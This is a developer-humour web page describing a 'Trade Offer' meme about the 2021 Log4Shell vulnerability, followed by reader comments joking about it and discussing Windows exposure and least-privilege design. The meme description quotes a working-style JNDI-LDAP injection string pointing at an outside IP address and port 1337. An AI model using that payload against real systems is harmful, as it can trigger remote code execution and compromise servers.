Skip to content
DevMeme
3710 of 7590
Trade Offer: Swap Your JNDI Query for Immediate Root Shell Access
Security Post #4049 · source on Telegram

Trade Offer: Swap Your JNDI Query for Immediate Root Shell Access

Description

Meme uses the popular “TRADE OFFER” TikTok template: a red banner with yellow warning triangles and the text “⚠️TRADE OFFER⚠️” sits at the top. Beneath, white text on the left reads “you receive:” followed by the exact payload “/search?q=${jndi:ldap://78.31.71.248:1337/jewlwefj}”. On the right it states “i receive:” with a terminal prompt line “[root@localhost ~]# _” in green and white, implying a successful privilege-escalation shell. Centered is a suited person against purple LED strip lighting, hands steepled, face intentionally blurred. The meme references the 2021 Log4Shell (CVE-2021-44228) JNDI-LDAP injection that allowed Remote Code Execution through malicious search strings, humorously framing the attacker’s value proposition as a straightforward trade

Categories

Security Dependencies Bugs

Common Tags

Log4jVulnerability Log4ShellVulnerability SecurityVulnerabilities CVE CommonVulnerabilitiesAndExposures InjectionFlaws UsingComponentsWithKnownVulnerabilities DependencyHell VulnerabilityManagementProcess

Comments

23
Anonymous ★ Top Pick When the marketing team asked for "more searchable content," they didn’t expect the result to be a live root prompt in production
  1. Anonymous ★ Top Pick

    When the marketing team asked for "more searchable content," they didn’t expect the result to be a live root prompt in production

  2. Anonymous

    After 20 years in this industry, I've learned that the only thing more persistent than legacy COBOL systems is junior developers who insist their input validation is 'good enough' because they added a regex that blocks semicolons

  3. Anonymous

    The only trade in history where logging a user's search query settles for the attacker at 100x leverage

  4. Anonymous

    A classic case of asymmetric cryptographic exchange: I'll give you this sketchy URL parameter that screams 'SQL injection attempt from a script kiddie tutorial' and you give me root@localhost. It's like trading a rusty paperclip for the keys to Fort Knox, except the paperclip is also trying to phone home to a suspicious IP on port 1337. The real vulnerability here isn't in the code - it's in whoever thought this was a fair trade. At least they're being transparent about wanting root access; most attackers try to be subtle about their privilege escalation goals

  5. Anonymous

    Zero-trust architecture's worst nightmare: dangling invid query param escalates straight to root - deploy the meme patch

  6. Anonymous

    2021’s best conversion funnel: one ${jndi:ldap} in a log line → [root@localhost ~]#, proving observability accidentally shipped with an RCE feature flag

  7. Anonymous

    Best funnel in infosec history: a GET /search becomes LDAP-backed RCE - observability-as-a-service, but for attackers

  8. dev_meme 4y

    Does log4j work under windows? Does this exploit work under winodows?

    1. @polarniy 4y

      Yes, it does

      1. dev_meme 4y

        oh shit

      2. @Infinitelineman 4y

        Could you point me where i can find this info?

        1. @polarniy 4y

          https://youtu.be/7qoPDq41xhQ Hammond made a video using Windows. There are plenty others on youtube as well

          1. @Infinitelineman 4y

            That's minecraft, not windows :c

            1. @polarniy 4y

              It’s only part of the video. He shows windows exploitation too

              1. @Infinitelineman 4y

                As of description and time marks i cant find windows.. could you help me one more time please?

                1. @polarniy 4y

                  Well, Windows is not natively vulnerable, but you can get access to host via vulnerable apps, installed on the machine. Apologies for misinformation

                2. @polarniy 4y

                  In this particular video John could get access to Windows machine through Minecraft. Probably, we misunderstood each other in meaning of what “Works under Windows” mean :)

    2. Deleted Account 4y

      Why not ? log4j vuln allows attacker to execute Java code and Java works on 3 billion devices Windows as well as on Linux

      1. @Agent1378 4y

        😁😁😁

  9. @callofvoid0 4y

    why should a logging system use network and have access to shell :-/

    1. @a_desant 4y

      Logging for clouds, triggering some actions on particular events, etc

      1. @callofvoid0 4y

        oh

    2. @CcxCZ 4y

      This is what Capability Security folks were saying for over three decades. Finally now that everyone is doing distributed systems the ideas that stuff should run with least privileges (least authority) and that single ACL is too limited to express that are slowly gaining traction. http://habitatchronicles.com/2017/05/what-are-capabilities/ You can enforce that on programming language level (Pony, Monte, E, Emily…), operating system level (Capsicum in FreeBSD, Genode, Fuchsia, SeL4…), in hardware (CHERI implementations like CHERI-ARM or CHERI-MIPS) and container/service level (Sandstorm.io).

More like this

More like this in Security →
Security Log4jVulnerability Log4ShellVulnerability
The Glamour vs. The Grind of Fixing Security Vulnerabilities

The Glamour vs. The Grind of Fixing Security Vulnerabilities

Security
When the ‘gift’ dependency from a rat ships a zero-day surprise

When the ‘gift’ dependency from a rat ships a zero-day surprise

Security
Midnight panic: Log4j might be hiding in the smart-toaster firmware

Midnight panic: Log4j might be hiding in the smart-toaster firmware

Security
Use J and K for navigation